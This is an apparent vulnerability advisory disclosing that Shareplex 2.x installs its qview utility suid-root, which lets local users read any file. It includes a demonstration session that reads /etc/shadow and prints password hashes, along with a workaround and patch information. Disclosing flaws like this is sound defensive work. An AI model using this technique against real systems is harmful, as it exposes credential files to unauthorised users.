Security Hole in Shareplex 2.x
			------------------------------

Summary 
-------

Shareplex (Quest Software's product for Oracle database replication)
contains a security hole which can allow local users to read any file on
the system, effectively bypassing the permissions set at the OS level. 

Details
-------

One of the scripts called when the product is installed (root.post)
contains the following block of code: 

update_permissions()
{
        if  get_mark marker OPT DIR; then
                :
        else
                get_mark marker OPT.$ORAVER DIR
        fi
        OD=$MARK

        chown root $OD/bin/sp_cop
        chmod 4555 $OD/bin/sp_cop

        chown root $OD/bin/CleanSP
        chmod 4550 $OD/bin/CleanSP

        chown root $OD/bin/qview
	chmod 4555 $OD/bin/qview

        ...

        chown root $OD/install/splex_remove_script
        chmod 4555 $OD/install/splex_remove_script

        get_mark rootpre SPLEX GROUP
        SPLEX_GROUP=$MARK
        chgrp $SPLEX_GROUP $MARKERFILE
        chown root $MARKERFILE
        chmod o-w $MARKERFILE
}

This assigns ownership of several application binaries to root, and then
sets permissions on them to read & execute by everyone, and suid to root.
The qview utility, which is used for cleaning out queues amongst other
things, is one of the tools which is installed mode 4555. It has a feature
which can compromise system security when executed with superuser
privileges.

qview's cmd command (which is used to execute qview commands stored in a
file) opens any user-specified file and attempts to execute each line the
file contains. Any errors encountered are echoed to standard output. A
user who can execute qview can use this behavior to read files on the
system to which they do not legitimately have access. As the target file
will contain data other than qview commands, that data will be echoed out
to stdout along with error messages.

I did not attempt a comprehensive audit of this product. There are a lot
of utilities installed suid-root, and this may not be the only one that
contains vulnerabilities. 

Demonstration 
-------------

$ id
uid=500(foo) gid=200(bar)
$ cd <path to shareplex binaries>
$ ./qview
qdump> cmd /etc/shadow
Executing: root:xDmyz1K9xRKRo:11236::::::
invalid command root:xDmyz1K9xRKRo:11236::::::
...
Executing: splex:BdJCfh1D32hzo:11290::::::
invalid command splex:BdJCfh1D32hzo:11290::::::
Executing: foo:2MQXUgAcnOcEU:11344::::::
invalid command foo:2MQXUgAcnOcEU:11344::::::
qdump> quit
$ 

Vulnerable Versions
-------------------

The same version of root.post is shipped for each of the supported unixes
(Solaris 2.6, HP/UX 10.20 & 11.00, AIX 3 and OSF/1 4.0). I would expect
qview to display the same behavior on each of these OSes, but I tested
only on Solaris 2.6.  

I tested Shareplex 2.1.3.9 and 2.2.2 (Beta, 11/02/00). 

Workaround
----------

As currently implemented, qview needs to run as root in order to operate
correctly. However, the risk can be somewhat mitigated by changing the
permissions on qview to 4550, and making it group-owned by a group
containing only highly-trusted users. This is not a complete solution to
the problem, as any user who is still allowed to run qview can still
access files to which they should not have access under any circumstances
(such as the shadow file). 

Vendor Notification/Patches
---------------------------

The vendor was notified on 2/2/2001.

The issue is patched in SharePlex 2.1.3.21 and above. The patched version of
qview seems to remove the offending fuctionality completely.